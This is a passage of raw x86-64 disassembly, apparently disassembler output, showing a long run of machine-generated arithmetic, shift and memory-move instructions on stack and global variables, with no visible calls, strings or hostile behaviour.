mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc170]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4740], eax
lea rax, [rsp + 0x49d0]
mov qword [rsp + 0xc548], rax
movzx eax, byte [0x14019d7e5]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb478]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
sar eax, cl
mov rcx, qword [0x14019dac8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
mov dword [rsp + 0x4a4c], eax
mov rax, qword [rsp + 0xb648]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46f8]
shl eax, cl
mov rcx, qword [rsp + 0xafb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb668]
mov eax, dword [rax]
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0xbeb0]
mov ecx, dword [rsp + 0x4854]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4130], eax
movzx eax, byte [0x14019d7e6]
movzx ecx, byte [rsp + 0x218]
xor eax, ecx
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x118c]
mov qword [rsp + 0xc550], rax
movsx eax, byte [rsp + 0x166]
movsx ecx, byte [0x14019bf1e]
and eax, ecx
mov byte [rsp + 0x182], al
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0x1074]
add eax, ecx
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0xb8e0]
mov eax, dword [rax]
mov dword [0x14019dd38], eax
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xc228]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc218]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0xc408]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0xc098]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f1c], eax
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb108]
mov ecx, dword [0x14019dbb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf8c]
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc450]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str.UY:OiAU], al
mov rax, qword [0x14019dc70]
mov ecx, dword [rsp + 0x44ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44f4], eax
lea rax, [rsp + 0x41dc]
mov qword [rsp + 0xc560], rax
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x488c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe90]
mov eax, dword [rax]
mov rcx, qword [0x14019dd20]
mov qword [rsp + 0xc568], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc568]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x49b4], eax
lea rax, [rsp + 0x47e8]
mov qword [rsp + 0xc570], rax
mov rax, qword [rsp + 0xb3f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x232]
xor eax, ecx
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa928]
movzx eax, word [rax]
mov word [rsp + 0x1240], ax
movzx eax, word [rsp + 0x11fc]
movzx ecx, word [rsp + 0xef4]
shl eax, cl
mov rcx, qword [rsp + 0xbfb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x229]
mov rcx, qword [rsp + 0xa9d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019db38]
mov byte [rcx], al
mov eax, dword [rsp + 0x3ffc]
mov dword [rsp + 0x4a54], eax
mov rax, qword [rsp + 0xbdb0]
mov rcx, qword [rsp + 0xa870]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4994], eax
mov rax, qword [rsp + 0xc380]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x187]
sub eax, ecx
mov byte [rsp + 0x1f6], al
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0x1244], ax
mov rax, qword [rsp + 0xad48]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4980], eax
lea rax, [rsp + 0x444c]
mov qword [rsp + 0xc578], rax
mov rax, qword [rsp + 0xb360]
mov eax, dword [rax]
mov ecx, dword [0x14019bf84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3420], eax
mov rax, qword [rsp + 0xb1e8]
mov ecx, dword [rsp + 0x4a34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4270], eax
lea rax, [rsp + 0xffc]
mov qword [0x14019dd40], rax
movzx eax, byte [0x14019bf07]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0xb9a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x422c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4350], eax
lea rax, [rsp + 0x49b8]
mov qword [rsp + 0xc580], rax
movsx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc178]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
add eax, ecx
mov rcx, qword [rsp + 0xb088]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bd]
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov rcx, qword [0x14019da48]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov dword [rsp + 0x4a58], eax
mov rax, qword [rsp + 0xb8d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4528]
xor ecx, eax
mov eax, ecx
mov dword [0x14019bf78], eax
mov eax, dword [rsp + 0x465c]
movzx ecx, al
mov eax, dword [rsp + 0x45c8]
shl eax, cl
mov dword [rsp + 0x46b8], eax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb858]
mov dword [rcx], eax
lea rax, [rsp + 0x4644]
mov qword [rsp + 0xc588], rax
movzx eax, word [0x14019bfb0]
mov rcx, qword [rsp + 0xb958]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xc590], rax
mov rax, qword [rsp + 0xb740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x499c]
mov ecx, dword [0x14019daf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x33f0], eax
mov rax, qword [rsp + 0xc258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x474c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c4], eax
mov rax, qword [0x14019dad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x494c]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c040], eax
movzx eax, byte [rsp + 0x1a6]
mov rcx, qword [rsp + 0xc520]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x189], al
lea rax, [rsp + 0x114c]
mov qword [rsp + 0xc598], rax
mov rax, qword [rsp + 0xc280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rax, [rsp + 0x203]
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbaa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4340], eax
mov rax, qword [0x14019d8c0]
mov ecx, dword [rsp + 0x42ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc508]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x207]
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0xb178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0xc310]
mov rcx, qword [rsp + 0xa870]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d888]
mov dword [rcx], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xc5a8], rax
mov rax, qword [rsp + 0xac30]
mov ecx, dword [rsp + 0x4478]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x497c], eax
mov eax, dword [rsp + 0x45b8]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shl eax, cl
mov dword [rsp + 0x3b2c], eax
movzx eax, byte [rsp + 0x1b5]
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10a8], ax
mov eax, dword [rsp + 0x4804]
mov dword [rsp + 0x4a5c], eax
mov rax, qword [rsp + 0xb7c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4598]
sar eax, cl
mov rcx, qword [rsp + 0xb000]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabb8]
mov eax, dword [rax]
mov dword [rsp + 0x4a60], eax
lea rax, [rsp + 0x4398]
mov qword [0x14019dd48], rax
mov rax, qword [rsp + 0xc230]
mov rcx, qword [rsp + 0xafe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4674], eax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x216], al
lea rax, str.3K6LAu_
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb850]
movzx eax, word [rax]
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0xa988]
mov rcx, qword [0x14019db30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb580]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xc1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb868]
mov dword [rcx], eax
movzx eax, word [rsp + 0x11e0]
mov word [rsp + 0x124c], ax
movzx eax, byte [rsp + 0x162]
movzx ecx, byte [rsp + 0x18a]
add eax, ecx
mov byte [0x14019900e], al
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x346c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
mov eax, dword [rsp + 0x4980]
mov dword [rsp + 0x4a64], eax
mov rax, qword [0x14019dd20]
mov ecx, dword [rsp + 0x48fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xacc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4698]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov byte [rsp + 0x239], al
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x1008]
add eax, ecx
mov rcx, qword [rsp + 0xbae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc48]
mov eax, dword [rax]
mov dword [rsp + 0x4a68], eax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x429c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x45dc], eax
movsx eax, byte [0x14019bf2b]
mov rcx, qword [rsp + 0xc3d8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14019dcd0]
mov byte [rcx], al
movsx eax, word [rsp + 0xd44]
movsx ecx, word [rsp + 0x1054]
sar eax, cl
mov rcx, qword [rsp + 0xbee0]
mov word [rcx], ax
movzx eax, byte [0x14019bf0a]
movzx ecx, byte [rsp + 0x20d]
shl eax, cl
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x11f8]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0xc008]
mov eax, dword [rax]
mov dword [rsp + 0x4a6c], eax
mov rax, qword [rsp + 0xb7b0]
mov ecx, dword [rsp + 0x3868]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4458], eax
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x4a70], eax
mov eax, dword [rsp + 0x45bc]
mov ecx, dword [rsp + 0x49b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48e8], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbe80]
mov dword [rcx], eax
lea rax, [rsp + 0x1be]
mov qword [rsp + 0xc5b8], rax
mov rax, qword [rsp + 0xc498]
movzx eax, word [rax]
mov word [0x14019dd50], ax
mov eax, dword [0x14019bf98]
mov ecx, dword [rsp + 0x4864]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b4], eax
mov rax, qword [rsp + 0xbd50]
mov eax, dword [rax]
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0xc230]
mov ecx, dword [rsp + 0x4738]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb970]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x449c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0xb520]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
movzx eax, word [0x14019d8e0]
mov word [rsp + 0x1250], ax
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0xbcb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e5], al
mov eax, dword [rsp + 0x4888]
mov ecx, dword [rsp + 0x46c0]
sub ecx, eax
mov eax, ecx
mov dword [0x14019daf0], eax
mov rax, qword [0x14019dc90]
mov ecx, dword [rsp + 0x4a40]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43a0], eax
mov rax, qword [rsp + 0xbfb8]
movzx eax, word [rax]
mov word [rsp + 0x1254], ax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb0b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x154], al
lea rax, [rsp + 0x42d0]
mov qword [rsp + 0xc5c0], rax
mov eax, dword [rsp + 0x4924]
mov rcx, qword [rsp + 0xbfd0]
mov qword [rsp + 0xc5c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x45a8], eax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov dword [rsp + 0x4a78], eax
mov eax, dword [rsp + 0x42d0]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xc5d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a44], eax
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3e8]
movzx eax, byte [rax]
mov rcx, qword [0x14019da50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf9e], al
mov eax, dword [rsp + 0x4290]
mov dword [rsp + 0x4a7c], eax
mov eax, dword [rsp + 0x4810]
mov ecx, dword [rsp + 0x3cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4928]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x36e4], eax
mov rax, qword [rsp + 0xbb60]
mov rcx, qword [rsp + 0xa8d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0xac30]
mov rcx, qword [rsp + 0xa5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4704], eax
mov rax, qword [0x14019d9d0]
movzx eax, byte [rax]
mov byte [rsp + 0x23b], al
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0xb74]
and eax, ecx
mov word [rsp + 0x10f4], ax
lea rax, [rsp + 0x224]
mov qword [rsp + 0xc5d8], rax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [0x14019dc80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019dce0], ax
mov eax, dword [rsp + 0x49bc]
mov ecx, dword [rsp + 0x4a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4494], eax
mov rax, qword [rsp + 0xbc20]
mov ecx, dword [rsp + 0x45f0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb680]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
mov word [rsp + 0x1258], ax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc2a0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc520]
mov byte [rcx], al
mov eax, dword [rsp + 0x4584]
mov dword [rsp + 0x4a80], eax
mov rax, qword [0x14019dbd8]
mov rcx, qword [rsp + 0xb670]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x46bc], eax
mov eax, dword [rsp + 0x4208]
mov rcx, qword [rsp + 0xb660]
mov qword [rsp + 0xc5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0xbce0]
mov eax, dword [rax]
mov dword [rsp + 0x4a84], eax
lea rax, [0x14019dbd0]
mov qword [0x14019dd58], rax
mov rax, qword [rsp + 0xc290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x208]
xor eax, ecx
mov rcx, qword [rsp + 0xb718]
mov byte [rcx], al
lea rax, [rsp + 0x41d8]
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4344], eax
movzx eax, byte [rsp + 0x1fe]
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0xbd20]
movsx eax, word [rax]
imul eax, eax, 0x64bb
mov word [rsp + 0x11ac], ax
movzx eax, word [rsp + 0x10f0]
mov rcx, qword [rsp + 0xbae0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfac], ax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xc5f0], rax
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0xbf58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov dword [rcx], eax
lea rax, [0x14019d7e0]
mov qword [0x14019dd60], rax
lea rax, [rsp + 0x47f4]
mov qword [rsp + 0xc5f8], rax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x476c], eax
mov eax, dword [0x14019dc60]
mov ecx, dword [rsp + 0x460c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf1c]
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb650]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf98]
mov byte [rcx], al
lea rax, [rsp + 0x4868]
mov qword [rsp + 0xc600], rax
mov rax, qword [0x14019dc28]
mov ecx, dword [rsp + 0x4910]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4420], eax
mov eax, dword [rsp + 0x4338]
mov ecx, dword [rsp + 0x3460]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0xbe80]
mov eax, dword [rax]
mov ecx, dword [0x14019d830]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bfe4], eax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax]
mov word [rsp + 0x1260], ax
movzx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0xb840]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbe68]
mov byte [rcx], al
mov rax, qword [rsp + 0xa638]
movzx eax, byte [rax]
mov byte [rsp + 0x23d], al
movsx eax, word [rsp + 0x1038]
cdq
mov ecx, 0x7e2b
idiv ecx
mov rcx, qword [rsp + 0xb088]
mov word [rcx], ax
mov eax, dword [rsp + 0x38d0]
mov ecx, dword [rsp + 0x44f8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xbb70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4454]
shl eax, cl
mov dword [rsp + 0x3848], eax
mov rax, qword [rsp + 0xc480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d9]
or eax, ecx
mov byte [rsp + 0x17b], al
lea rax, [rsp + 0x1024]
mov qword [rsp + 0xc608], rax
mov rax, qword [0x14019d9e8]
mov ecx, dword [rsp + 0x48d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019dcb0], eax
mov rax, qword [rsp + 0xbf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov dword [rsp + 0x4a88], eax
mov eax, dword [rsp + 0x4a58]
mov ecx, dword [rsp + 0x422c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c0], eax
mov rax, qword [rsp + 0xab18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1174]
sub eax, ecx
mov word [rsp + 0x1198], ax
lea rax, [0x14019900f]
mov qword [rsp + 0xc610], rax
mov eax, dword [rsp + 0x41c0]
mov ecx, dword [rsp + 0x421c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac68]
mov dword [rcx], eax
lea rax, [rsp + 0x48cc]
mov qword [rsp + 0xc618], rax
mov rax, qword [0x14019d9e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4800]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4744], eax
mov eax, dword [rsp + 0x42e4]
mov ecx, dword [rsp + 0x46d4]
add ecx, eax
mov eax, ecx
mov dword [0x14019c044], eax
mov rax, qword [rsp + 0xb938]
mov ecx, dword [rsp + 0x38a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbf70]
mov dword [rcx], eax
mov rax, qword [0x14019dae0]
movzx eax, word [rax]
mov word [rsp + 0x1264], ax
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22d], al
lea rax, [rsp + 0x158]
mov qword [rsp + 0xc620], rax
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
movzx ecx, word [0x14019c018]
and eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x48cc]
mov dword [rsp + 0x4a8c], eax
movzx eax, word [rsp + 0xfd4]
movzx ecx, word [rsp + 0xed4]
shl eax, cl
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x218]
or eax, ecx
mov byte [0x14019d7b7], al
mov eax, dword [rsp + 0x431c]
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc98]
mov qword [rsp + 0xc628], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4434], eax
lea rax, [rsp + 0x4498]
mov qword [rsp + 0xc630], rax
mov rax, qword [rsp + 0xbd28]
mov rcx, qword [rsp + 0xbc58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbfa0]
mov dword [rcx], eax
mov rax, qword [0x14019db00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xb418]
movzx eax, word [rax]
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4530]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d8], eax
mov rax, qword [0x14019dcc8]
mov eax, dword [rax]
mov dword [rsp + 0x4a94], eax
movsx eax, byte [rsp + 0x221]
mov rcx, qword [rsp + 0xa900]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf9f], al
movsx eax, word [rsp + 0xf30]
movsx ecx, word [0x14019bfdc]
add eax, ecx
mov word [rsp + 0x10c0], ax
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1050], ax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xc638], rax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [0x14019d7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3acc], eax
mov rax, qword [rsp + 0xbe98]
mov eax, dword [rax]
mov dword [rsp + 0x4a98], eax
mov rax, qword [rsp + 0xc230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4670], eax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x4368]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48e0], eax
mov eax, dword [rsp + 0x4990]
mov dword [rsp + 0x4a9c], eax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc598]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov rcx, qword [0x14019dc00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
lea rax, [rsp + 0x4814]
mov qword [rsp + 0xc640], rax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c48]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3cbc]
shl eax, cl
mov dword [rsp + 0x3400], eax
mov rax, qword [rsp + 0xb158]
mov rcx, qword [rsp + 0xbad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3bc0], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [0x14019bf0f]
sar eax, cl
mov byte [rsp + 0x1f9], al
lea rax, [rsp + 0x1204]
mov qword [rsp + 0xc648], rax
mov rax, qword [rsp + 0xb138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11a4]
cdq
